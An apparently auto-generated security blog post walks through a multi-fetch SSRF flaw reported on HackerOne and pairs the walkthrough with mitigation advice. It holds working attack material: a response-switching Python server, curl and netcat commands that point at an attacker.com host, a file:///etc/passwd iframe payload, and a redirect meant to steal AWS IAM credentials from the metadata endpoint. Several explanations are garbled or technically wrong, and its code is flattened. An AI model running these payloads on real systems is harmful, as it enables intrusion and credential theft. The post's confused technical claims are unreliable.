Listen to this Post

Introduction:
Server-Side Request Forgery (SSRF) remains one of the most critical threats to cloud-native applications, yet many bug bounty programs deprioritize limited-scope variants. However, as recently demonstrated in a HackerOne report, even a restricted file:// SSRF can be chained with a dangerous logical flaw: non-atomic validation across multiple fetch operations. By manipulating a server that validates an image request twice but embeds it on a third unvalidated fetch, researchers can inject arbitrary content into a PDF, escalating a limited file read to a potential HTML injection or data leak.
Learning Objectives:
- Understand how non-atomic validation in multi-fetch operations creates SSRF vectors.
- Learn to simulate race-condition attacks between image validation and embedding.
- Identify mitigation strategies to prevent split-request SSRF exploits.
You Should Know:
1. Understanding the Multi-Fetch SSRF Vulnerability
The original post describes an application that fetches a user-supplied image URL three times. Requests 1 and 2 perform validation and content comparison. Request 3, however, trusts that the content is safe and embeds it directly into a PDF. This trust is misplaced because the attacker can serve a benign image for the first two requests and a malicious payload for the third. This technique, often called “HTTP Request Smuggling” or “Image Rebinding,” exploits the server’s failure to revalidate state changes.
Step‑by‑step guide to simulating this flaw:
To test your own applications, set up a simple Python HTTP server that switches responses based on the request count:
from http.server import HTTPServer, BaseHTTPRequestHandler
request_count = 0
class RebindingHandler(BaseHTTPRequestHandler):
def do_GET(self):
global request_count
request_count += 1
if request_count <= 2:
Serve a valid 1x1 pixel PNG for validation
self.send_response(200)
self.send_header('Content-Type', 'image/png')
self.end_headers()
with open('valid.png', 'rb') as f:
self.wfile.write(f.read())
else:
Serve malicious content (e.g., HTML/JS) for embedding
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(b'<script>alert("SSRF")</script>')
server = HTTPServer(('0.0.0.0', 8080), RebindingHandler)
server.serve_forever()
This code demonstrates how a single endpoint can serve two different payloads to the same client across sequential requests.
- From File Read to PDF Injection: Exploitation Chain
The triager initially closed the report because only `file://` images were accessible. However, the researcher escalated by injecting content into the PDF generation pipeline. By swapping the third response to include JavaScript or external entity references, the attacker can cause the PDF renderer to execute scripts or leak local files.
Linux Command to test local file inclusion via PDF:
If you control the embedded content, try injecting an iframe pointing to internal services:
<iframe src="file:///etc/passwd" width="0" height="0"></iframe>
Embed this HTML in the third response. If the PDF generator uses a headless browser (like Chromium), it may interpret the HTML and include the file contents in the PDF.
3. Simulating Non-Atomic Validation with cURL
Use cURL to manually replicate the three-request behavior. First, identify the application endpoint:
Simulate request 1 (validation)
curl -X POST https://target.com/fetch-image \
-H "Content-Type: application/json" \
-d '{"url":"http://attacker.com:8080/?req=1"}'
Simulate request 2 (comparison)
curl -X POST https://target.com/fetch-image \
-H "Content-Type: application/json" \
-d '{"url":"http://attacker.com:8080/?req=2"}'
Simulate request 3 (embed)
curl -X POST https://target.com/fetch-image \
-H "Content-Type: application/json" \
-d '{"url":"http://attacker.com:8080/?req=3"}'
Check if the server uses separate sessions. If it reuses a single TCP connection, you can trigger the rebinding by serving different responses on the same socket.
4. Leveraging HTTP Pipelining for Rebinding
Some servers reuse the same connection for multiple requests, allowing an attacker to pipeline requests. Use netcat to send pipelined requests:
echo -e "GET /?req=1 HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /?req=2 HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /?req=3 HTTP/1.1\r\nHost: attacker.com\r\n\r\n" | nc attacker.com 8080
If your server tracks counts globally, the first two see count=1 and count=2 (valid image), the third sees count=3 (malicious). This bypasses validation that relies on sequential trust.
5. AWS Metadata Exfiltration via SSRF
The comment by Vinicius Silva highlights a real-world escalation: SSRF to AWS internal API. If you can force the third request to hit `http://169.254.169.254/latest/meta-data/`, you can steal IAM credentials. To test, modify your malicious payload to redirect:
if request_count == 3:
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
The application will follow the redirect on the third fetch and embed the AWS metadata into the PDF.
6. Mitigation: Atomic Validation and Consistent Fetching
Developers must ensure that validation and usage operate on the same fetched content. Best practices include:
– Fetch the image once and store it temporarily.
– Validate the stored content before embedding.
– Use a single HTTP client with consistent state.
Example secure Python code using requests:
import requests from PIL import Image from io import BytesIO def fetch_and_embed_image(url): Single fetch response = requests.get(url, timeout=5) response.raise_for_status() Validate content is an image try: img = Image.open(BytesIO(response.content)) img.verify() Raises exception if not valid image except Exception: return "Invalid image" Embed the already-fetched content embed_in_pdf(response.content)
This eliminates the multi-fetch window.
7. Advanced: DNS Rebinding as an Alternative
If the server uses different IPs for validation and embedding, DNS rebinding can bypass restrictions. Set a DNS TTL to 0 and switch the A record between requests:
1. First lookup → points to a safe IP (e.g., 127.0.0.1 allowed for validation)
2. Second lookup → points to internal metadata IP
Tools like `singleton` or `rebinder` can automate this. This technique works when the server performs separate DNS resolutions for each fetch.
What Undercode Say:
- Key Takeaway 1: Non-atomic validation across multiple fetch operations is a critical design flaw. Attackers can exploit the time window between validation and usage to swap payloads, turning limited SSRF into high-impact injection vectors.
- Key Takeaway 2: Always revalidate content immediately before use. Store fetched data in a temporary buffer, validate it once, and use that buffer for all downstream operations. Never trust that a second fetch will return the same data.
This case underscores the importance of state consistency in secure coding. The bug was not in the SSRF filter itself, but in the assumption that three fetches to the same URL would yield identical results. In distributed systems, networks are asynchronous, and attackers can manipulate responses. For bug bounty hunters, this highlights the need to test every interaction point—even after validation. For developers, it reinforces that trust boundaries must be drawn at the point of data usage, not just at the point of entry.
Prediction:
As applications increasingly rely on microservices and third-party content aggregation, we will see a rise in “split-brain” SSRF attacks where validation and execution occur in different contexts. Future exploitation will likely target serverless functions and edge compute nodes where state is not shared across invocations. Defenders will need to adopt stateless validation or enforce cryptographic integrity checks (e.g., signed URLs) to ensure that the content validated is the content embedded.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Lovelynithish Hackerone – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


